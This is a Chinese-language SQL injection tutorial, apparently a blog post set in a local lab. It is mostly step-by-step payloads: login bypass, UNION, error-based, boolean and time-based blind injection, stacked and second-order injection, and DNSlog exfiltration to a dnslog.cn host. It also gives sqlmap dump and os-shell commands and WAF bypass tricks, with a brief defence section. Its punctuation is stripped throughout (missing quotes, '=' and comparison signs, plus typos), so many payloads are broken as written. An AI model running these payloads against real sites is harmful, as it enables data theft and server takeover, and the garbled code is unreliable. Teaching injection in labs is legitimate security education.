网络安全入门：SQL注入从原理到实战

重要声明本文所有操作均在靶场环境或授权情况下开展未经授权入侵、扫描、攻击他人网络与系统均违反《中华人民共和国网络安全法》请严格遵守法律法规与道德规范安全研究务必在合法合规范围内进行。一、SQL注入是什么SQL注入是Web应用最常见、危害极大的安全漏洞。核心原理后端代码未对用户输入做严格过滤攻击者在输入框、URL参数中插入恶意SQL语句欺骗数据库执行未授权操作实现偷数据、删库、改数据、拿服务器。二、SQL注入的危害敏感数据泄露账号、密码、手机号、身份证、余额等数据篡改修改订单、积分、权限、密码数据库破坏删表、删库、清空数据服务器接管读写文件、写入木马、执行系统命令内网横向渗透以数据库为跳板入侵内网三、前置知识MySQL基础1.关键系统库information_schemaMySQL系统库存储所有库、表、字段信息注入必用。TABLES存所有表名 COLUMNS存所有字段名 SCHEMATA存所有库名2.常用函数database() //当前数据库名 version() //数据库版本 group_concat() //多行合并为一行 substr() //截取字符串 ASCII() //取字符ASCII码 sleep() //延时函数 updatexml()/extractvalue() //报错函数四、SQL注入完整流程找注入点URL参数、表单、请求头、Cookie判断注入类型字符型/数字型判断数列order by查回显位union select查库名查表名查字段名拖数据五、基础注入类型详解一万能密码注入登录框注入适用场景登录框未过滤单引号拼接未作处理的SQL语句 。正常SQLselect * from user where usernameadmin and password123456注入后SQLselect * from user where usernamea or 11 and password123456实战payload-------效果绕过登录直接进入后台。账号a or 11 或 a密码‘ or 11 或 or 11二Union联合查询注入最常用适用条件页面有回显、可执行union、前后列数一致。实战步骤靶场bbs1.判断注入点http://localhost/bbs/showmessage.php?id1------页面报错存在注入。2.判断数列?id1 order by 4 --正常 ?id1 order by 5 --报错 ----共4列3.查回显位?id-1 union select 1,2,3,4 ----页面显示2、3、4----可在这些位置查数据4.查当前库?id-1 union select 1,2,version(),database() jrlt ----库名5.查表名?id-1 union select 1,2,3,group_concat(table_name) from infotmation_schema.tables where table_schemajrlt users,messages ----表名6.查字段?id-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_nameusers id,name,password,photo,money ----字段7.拖数据?id-1 union select 1,2,3,concat(name,:,password) from user lisi,122231 ----获取想要的数据三报错注入无回显但有报错适用场景页面不显示数据但是会输出MySQL错误。常用函数updatexml()extractvalue()实战payload1.查库名?id1 and updatexml(1,concat(0×5e,database(),0×5e),1)2.查表名?id1 and updatexml(1,concat(0×5e,(select group_concat(table_name) from information_schema.tables where table_schemajrlt,0×5e),1)3.查数据?id1 and updatexml(1,concat(0×5e,(select name from users limit 0,1),0×5e),1)(四)布尔盲注无回显、无报错仅页面真假不同核心用and条件判断页面正常真异常假实战步骤1.判断库名长度?id1 and length(database())42.猜库名?id1 and ascii(substr(database(),1,1))106 ----显示j ?id1 and ascii(substr(database(),2,1))114 ----显示r …… 最终得到库名jrlt3.猜表名、字段、数据逻辑同上逐字符爆破五延时盲注完全无回显靠响应时间判断核心条件成立则sleep(5)页面延迟5秒真。实战payload?id1 and if(length(database())4,sleep(5),1) ?id1 and if(length(database())106,sleep(5),1)六、高阶注入进阶必备1.二次注入原理先把恶意数据存入数据库后端读取时触发注入。案例注册admin‘#修改密码时SQL变为update users set password123456 where nameadmin# ----直接修改admin密码2.堆叠注入原理用分隔一次执行多条SQL。案例?id1;insert into users(name,password) values(tese,md(test)); ----可增删改查任意操作3.DNSlog盲注适用无回显、无延时、无报错用DNS外带数据。?id1 and load_file(concat(//,database(),xxx.dnslog.cn/123))4.读写文件条件secure_file_priv为空、高权限。读文件load_file()写木马into outfile七、SQLMap自动化注入工具篇常用命令1.检测注入点sqlmap -u http://xxx/showmessage.php?id12.查当前库sqlmap -u url --current-db3.查表sqlmap -u url -D 库名 --tables4.查字段sqlmap -u url -D 库名 -T 表名 --columns5.拖数据sqlmap -u url -D 库名 -T 表名 -C name,password --dump6.执行系统命令sqlmap -u url --os-shell八、WAF绕过简单思路注释绕过database/**/()参数污染?id1/**id-1 union select...%23*/编码绕过URL编码、十六进制编码分块传输拆分关键字绕过规则匹配九、SQL注入防御开发必看预编译语句PreparedStatement最有效严格过滤数据过滤 union select or and等权限最小化数据库账号不设置文件读写、不设置DROP权限关键错误回显不输出MySQL报错信息使用WAF部署防火墙拦截恶意请求十、总结SQL注入时网安入门必学漏洞本文覆盖原理→基础→盲注→高阶→工具→防御全流程。所有操作请在靶场/授权环境下练习守住法律底线。